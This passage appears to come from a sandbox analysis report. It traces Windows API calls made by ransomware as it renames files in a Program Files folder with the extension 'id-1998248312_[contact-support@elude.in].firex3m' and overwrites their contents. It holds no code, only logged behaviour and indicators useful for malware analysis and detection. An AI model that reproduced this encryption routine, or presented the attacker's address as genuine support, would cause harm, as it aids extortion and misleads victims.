files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.196] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.196] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2aa, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0234.197] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0234.197] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ru-ru\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0234.197] GetProcessHeap () returned 0x630000 [0234.197] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6db568 [0234.197] GetProcessHeap () returned 0x630000 [0234.197] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2c1) returned 0x6da110 [0234.197] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.197] ReadFile (in: hFile=0x6dc, lpBuffer=0x6db568, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6db568*, lpNumberOfBytesRead=0x55fff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0234.200] GetProcessHeap () returned 0x630000 [0234.200] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0234.201] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.201] WriteFile (in: hFile=0x6dc, lpBuffer=0x6da110*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6da110*, lpNumberOfBytesWritten=0x55fff0c*=0x2a0, lpOverlapped=0x0) returned 1 [0234.201] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.201] WriteFile (in: hFile=0x6dc, lpBuffer=0x6da3af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6da3af*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.201] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.201] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.201] CloseHandle (hObject=0x6dc) returned 1 [0234.201] GetProcessHeap () returned 0x630000 [0234.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6da110 | out: hHeap=0x630000) returned 1 [0234.201] GetProcessHeap () returned 0x630000 [0234.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6db568 | out: hHeap=0x630000) returned 1 [0234.201] GetProcessHeap () returned 0x630000 [0234.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0235.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.539] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ru-RU\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91b515fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x518c1807, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x55ffd20, dwReserved1=0x6db568, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f80 [0235.539] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.539] Sleep (dwMilliseconds=0x1) [0235.547] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x55fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml") returned 1 [0235.547] GetProcessHeap () returned 0x630000 [0235.547] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x502c) returned 0x6fe3bb0 [0235.547] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0235.548] CloseHandle (hObject=0x698) returned 1 [0235.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.548] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.550] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0235.550] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.550] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0235.550] GetProcessHeap () returned 0x630000 [0235.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.550] GetProcessHeap () returned 0x630000 [0235.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.550] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.550] ReadFile (in: hFile=0x698, lpBuffer=0x6e2830, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesRead=0x55fff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.552] GetProcessHeap () returned 0x630000 [0235.552] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0235.552] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.552] WriteFile (in: hFile=0x698, lpBuffer=0x6e2500*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesWritten=0x55fff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.553] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.553] WriteFile (in: hFile=0x698, lpBuffer=0x6e265f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e265f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.553] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.553] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.553] CloseHandle (hObject=0x698) returned 1 [0235.553] GetProcessHeap () returned 0x630000 [0235.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.553] GetProcessHeap () returned 0x630000 [0235.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.553] GetProcessHeap () returned 0x630000 [0235.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0235.553] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52592235, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x55ffd20, dwReserved1=0x6e2830, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5280 [0235.554] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.554] Sleep (dwMilliseconds=0x1) [0235.563] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x55fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml") returned 1 [0235.563] GetProcessHeap () returned 0x630000 [0235.563] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x501c) returned 0x6fe3bb0 [0235.564] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0235.564] CloseHandle (hObject=0x5ec) returned 1 [0235.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.564] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.565] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.565] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0235.566] GetProcessHeap () returned 0x630000 [0235.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.566] GetProcessHeap () returned 0x630000 [0235.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.566] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.566] ReadFile (in: hFile=0x5ec, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x55fff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.568] GetProcessHeap () returned 0x630000 [0235.568] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0235.568] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.568] WriteFile (in: hFile=0x5ec, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x55fff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.568] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.568] WriteFile (in: hFile=0x5ec, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.568] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.568] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.569] CloseHandle (hObject=0x5ec) returned 1 [0235.569] GetProcessHeap () returned 0x630000 [0235.569] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.569] GetProcessHeap () returned 0x630000 [0235.569] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.569] GetProcessHeap () returned 0x630000 [0235.569] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0235.569] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x525b84c0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x55ffd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5480 [0235.569] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0235.569] Sleep (dwMilliseconds=0x1) [0235.578] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x55fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml") returned 1 [0235.578] GetProcessHeap () returned 0x630000 [0235.578] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x500c) returned 0x6fe3bb0 [0235.579] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0235.579] CloseHandle (hObject=0x6d0) returned 1 [0235.579] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.579] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5240 [0235.688] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0235.900] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0236.606] GetProcessHeap () returned 0x630000 [0236.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666d90 [0236.606] GetProcessHeap () returned 0x630000 [0236.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665f20 [0236.606] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.651] ReadFile (in: hFile=0x6c0, lpBuffer=0x666d90, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x666d90*, lpNumberOfBytesRead=0x55fff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.655] GetProcessHeap () returned 0x630000 [0236.655] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0236.655] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.655] WriteFile (in: hFile=0x6c0, lpBuffer=0x665f20*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665f20*, lpNumberOfBytesWritten=0x55fff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.655] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.655] WriteFile (in: hFile=0x6c0, lpBuffer=0x66613f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x66613f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.655] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, 